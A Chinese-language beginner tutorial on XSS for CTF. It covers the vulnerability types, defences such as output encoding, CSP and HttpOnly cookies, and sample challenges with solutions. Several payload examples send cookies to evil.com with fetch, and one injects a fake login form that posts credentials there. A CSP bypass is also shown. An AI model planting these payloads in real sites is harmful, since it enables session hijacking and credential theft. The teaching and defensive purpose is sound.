从零开始:CTF中的XSS漏洞入门指南
1. 什么是XSS?
跨站脚本攻击(Cross-Site Scripting, XSS) 是一种常见的Web安全漏洞,攻击者通过向网页注入恶意脚本,使其在受害者的浏览器中执行。由于JavaScript可以访问Cookie、LocalStorage、DOM等敏感数据,XSS通常用于窃取用户信息、劫持会话、钓鱼攻击等。
2. XSS漏洞类型
XSS主要分为三类:反射型XSS、存储型XSS 和 DOM型XSS。
2.1 反射型XSS(Reflected XSS)
- 特点:Payload通常出现在URL中,服务器返回的HTML直接包含恶意脚本,但不会存储到数据库。
- 攻击方式:诱骗用户点击恶意链接(如钓鱼邮件、短链)。
- 示例:
如果服务器未过滤输入,直接返回http://example.com/search?q=<script>alert(1)</script>
q
的值,则脚本会在用户浏览器执行。
2.2 存储型XSS(Stored XSS)
- 特点:Payload存储在服务器(如数据库、评论、留言板),所有访问受影响页面的用户都会触发。
- 攻击方式:攻击者提交恶意内容(如论坛发帖、用户资料修改)。
- 示例:
该评论被存入数据库,其他用户访问时自动执行,窃取其Cookie。用户评论:<script>fetch("https://evil.com/steal?cookie="+document.cookie)</script>
2.3 DOM型XSS(DOM-Based XSS)
- 特点:纯前端漏洞,由JavaScript动态操作DOM导致,不经过服务器。
- 攻击方式:利用
document.write
、innerHTML
、eval
等不安全操作。 - 示例:
如果前端代码直接使用http://example.com/#<img src=x onerror=alert(1)>
location.hash
插入DOM,就会触发XSS。
3. XSS的利用方式
XSS的危害不仅限于弹窗(alert(1)
),攻击者可实现更复杂的攻击:
- 窃取Cookie:
document.cookie
发送到攻击者服务器 - 会话劫持:利用窃取的Cookie登录用户账户
- 键盘记录:监听
onkeypress
事件窃取输入 - 钓鱼攻击:伪造登录框诱导用户输入密码
- CSRF攻击:利用JavaScript发起恶意请求(如转账、改密码)
示例Payload:
// 窃取Cookie并外带
<script>fetch('https://evil.com/steal?data=' + btoa(document.cookie));
</script>// 伪造登录框
<script>document.body.innerHTML = '<h1>Session Expired</h1><form action="https://evil.com/steal" method="POST"><input type="text" name="username"><input type="password" name="password"><button>Login</button></form>';
</script>
4. XSS的防御方法
4.1 输入过滤 & 输出编码
- 前端:使用
textContent
代替innerHTML
,避免直接插入HTML - 后端:对用户输入进行HTML实体编码(如
<
→<
)- PHP:
htmlspecialchars($input, ENT_QUOTES)
- Python(Flask/Jinja2):
{{ user_input | escape }}
- PHP:
4.2 CSP(内容安全策略)
通过HTTP头Content-Security-Policy
限制脚本加载来源:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com
- 阻止内联脚本(
unsafe-inline
) - 限制外部资源加载(如
eval
、data:
)
4.3 HttpOnly Cookie
设置HttpOnly
防止JavaScript读取敏感Cookie:
Set-Cookie: sessionid=123abc; HttpOnly; Secure
4.4 使用安全框架
- React/Vue/Angular:默认自动转义,但仍需警惕
dangerouslySetInnerHTML
或v-html
- DOMPurify:过滤恶意HTML(Node.js/浏览器均可使用)
5. CTF中的XSS题目示例
题目1:基础反射型XSS
<!-- 后端代码(PHP) -->
<?php$query = $_GET['q'];echo "Search results for: " . $query;
?>
解法:
http://ctf.example.com/?q=<script>alert(1)</script>
题目2:DOM型XSS绕过
<script>var userInput = decodeURIComponent(location.hash.slice(1));document.getElementById("output").innerHTML = userInput;
</script>
解法:
http://ctf.example.com/#<img src=x onerror=alert(1)>
题目3:CSP绕过
Content-Security-Policy: script-src 'self' 'unsafe-eval'
解法:
<script>eval("al"+"ert(1)");
</script>
6. 总结
类型 | 存储位置 | 触发方式 | 防御方法 |
---|---|---|---|
反射型XSS | URL | 用户点击恶意链接 | 输入过滤 + 输出编码 |
存储型XSS | 数据库 | 访问被篡改页面 | CSP + HttpOnly Cookie |
DOM型XSS | 前端DOM操作 | 动态解析URL/输入 | 避免innerHTML 、eval |
XSS是Web安全中最经典的漏洞之一,理解其原理和防御方法对CTF比赛和实际开发都至关重要。建议搭建靶场(如DVWA、XSS Game)进行实战练习,并关注最新绕过技术(如SVG XSS、Dangling Markup攻击)。
如果有具体问题或想深入某个方向,欢迎讨论! 🔍